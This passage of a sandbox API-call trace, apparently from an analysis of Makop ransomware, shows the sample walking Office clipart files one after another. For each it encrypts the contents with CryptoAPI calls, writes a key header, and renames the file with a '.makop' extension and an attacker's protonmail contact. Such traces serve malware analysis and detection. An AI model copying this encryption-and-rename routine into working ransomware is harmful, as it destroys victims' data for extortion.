lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.835] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.835] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.835] GetProcessHeap () returned 0x48a0000 [0131.835] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.835] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.835] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.835] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.836] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.836] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.836] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.836] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.836] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.836] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.836] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.836] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.837] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x26e8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x26e8, lpOverlapped=0x0) returned 1 [0131.839] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x26f0, dwBufLen=0x26f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x26f0) returned 1 [0131.840] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.840] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x26f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x26f0, lpOverlapped=0x0) returned 1 [0131.840] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.840] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x27c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.840] SetEndOfFile (hFile=0xf0) returned 1 [0131.847] GetProcessHeap () returned 0x48a0000 [0131.847] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.847] GetProcessHeap () returned 0x48a0000 [0131.847] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.847] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.848] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233512.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233512.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.850] CloseHandle (hObject=0xf0) returned 1 [0131.850] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x312c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233665.WMF", cAlternateFileName="")) returned 1 [0131.850] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF") returned 63 [0131.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233665.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.852] GetProcessHeap () returned 0x48a0000 [0131.852] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.852] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.853] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.853] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.857] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.857] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.857] GetProcessHeap () returned 0x48a0000 [0131.857] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.857] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.857] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.857] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.858] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.858] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.858] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.858] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.858] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.858] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.858] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.858] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.859] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x312c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x312c, lpOverlapped=0x0) returned 1 [0131.860] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3130, dwBufLen=0x3130 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3130) returned 1 [0131.860] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.861] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3130, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3130, lpOverlapped=0x0) returned 1 [0131.861] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.861] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.861] SetEndOfFile (hFile=0xf0) returned 1 [0131.868] GetProcessHeap () returned 0x48a0000 [0131.868] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.869] GetProcessHeap () returned 0x48a0000 [0131.869] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.869] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.869] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233665.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233665.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.870] CloseHandle (hObject=0xf0) returned 1 [0131.870] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64f43f00, ftCreationTime.dwHighDateTime=0x1be809a, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64f43f00, ftLastWriteTime.dwHighDateTime=0x1be809a, nFileSizeHigh=0x0, nFileSizeLow=0x975e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233992.WMF", cAlternateFileName="")) returned 1 [0131.870] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF") returned 63 [0131.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233992.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.871] GetProcessHeap () returned 0x48a0000 [0131.871] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.871] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.871] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.872] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0131.876] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.876] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.876] GetProcessHeap () returned 0x48a0000 [0131.876] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.876] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.876] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.876] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.877] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.877] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.877] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.877] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.877] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.877] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.878] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.878] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.878] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x975e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x975e, lpOverlapped=0x0) returned 1 [0131.880] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9760, dwBufLen=0x9760 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9760) returned 1 [0131.880] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.880] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9760, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x9760, lpOverlapped=0x0) returned 1 [0131.881] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.881] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.881] SetEndOfFile (hFile=0xf0) returned 1 [0131.888] GetProcessHeap () returned 0x48a0000 [0131.889] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.889] GetProcessHeap () returned 0x48a0000 [0131.889] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.889] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.889] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233992.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233992.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.890] CloseHandle (hObject=0xf0) returned 1 [0131.890] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f727e00, ftCreationTime.dwHighDateTime=0x1be7b5a, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f727e00, ftLastWriteTime.dwHighDateTime=0x1be7b5a, nFileSizeHigh=0x0, nFileSizeLow=0xcec6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234000.WMF", cAlternateFileName="")) returned 1 [0131.891] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF") returned 63 [0131.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234000.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.892] GetProcessHeap () returned 0x48a0000 [0131.892] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.892] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.892] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.892] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0131.896] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.896] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.897] GetProcessHeap () returned 0x48a0000 [0131.897] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.897] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.897] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.897] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.897] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.897] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.897] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.897] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.898] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.898] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.898] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.898] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.898] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xcec6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xcec6, lpOverlapped=0x0) returned 1 [0131.900] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xced0, dwBufLen=0xced0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xced0) returned 1 [0131.901] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.901] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xced0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xced0, lpOverlapped=0x0) returned 1 [0131.901] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.901] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xcfa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.901] SetEndOfFile (hFile=0xf0) returned 1 [0131.909] GetProcessHeap () returned 0x48a0000 [0131.909] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.909] GetProcessHeap () returned 0x48a0000 [0131.909] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.909] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.909] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234000.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234000.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.911] CloseHandle (hObject=0xf0) returned 1 [0131.911] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97fc7700, ftCreationTime.dwHighDateTime=0x1be7b5e, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97fc7700, ftLastWriteTime.dwHighDateTime=0x1be7b5e, nFileSizeHigh=0x0, nFileSizeLow=0x4b40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234001.WMF", cAlternateFileName="")) returned 1 [0131.911] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF") returned 63 [0131.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234001.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, 